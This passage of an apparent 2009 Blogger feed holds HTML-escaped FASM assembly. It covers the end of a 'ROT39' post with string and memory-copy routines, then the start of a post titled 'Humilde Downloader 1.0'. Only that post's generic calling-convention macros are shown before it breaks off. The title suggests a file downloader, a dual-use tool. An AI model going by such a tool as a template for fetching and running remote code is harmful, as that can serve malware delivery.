127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; by YST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; cRtlMoveMemory&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Cpuntero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCantidad&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xchg&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xchg&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cpuntero&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucleb&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt;  &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jge&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucleb&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-4912751402558016845?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/4912751402558016845/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=4912751402558016845&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4912751402558016845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4912751402558016845'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/07/rot39.html' title='ROT39'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-4553629641197687215</id><published>2009-07-07T18:34:00.001-07:00</published><updated>2009-07-07T18:34:47.962-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Humilde Downloader 1.0</title><content type='html'>&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Humilde Downloader 1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;      y      y   yyy     yyyyyyyyyyyyy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;       y    y   y             y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;        y  y    yyyyyy        y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;         yy          y        y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;         y           y        y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;         y           y        y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;         y     yyyyyyy        y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; ysk_sft@hotmail.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; diariodeyst.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;                 &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; indirectly call STDCALL procedure&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt;&lt;br /&gt;  reverse&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; arg&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; allow_nesting&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value&lt;br /&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;value \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =pushx =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pushx value \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     allow_nesting&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cinvoke&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ccall&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =pushx =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pushx value \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     allow_nesting&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cinvoke&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ccall&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =pushx =cinvoke &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pushx value \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     allow_nesting&lt;br /&gt;     cinvoke &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cinvoke&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ccall&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =pushx =ccall &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pushx value \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     allow_nesting&lt;br /&gt;     ccall &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cinvoke&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ccall&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =pushx&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pushx \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &amp;lt;value&amp;gt;&lt;br /&gt;     pushx equ \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    restore pushx \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \reverse &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &amp;lt;arg&amp;gt;&lt;br /&gt;    \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \reverse &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &amp;lt;arg&amp;gt;&lt;br /&gt;    \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; cinvoke &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt;&lt;br /&gt;    \reverse &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &amp;lt;arg&amp;gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = size&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;br /&gt;             match =double any&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;arg \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; ccall &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt;&lt;br /&gt;    \reverse &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; &amp;lt;arg&amp;gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = size&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;br /&gt;             match =double any&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;arg \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt; = size&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pushd&lt;/span&gt; value&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match first=&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;more&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; value \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; value&lt;span style="color: rgb(51, 153, 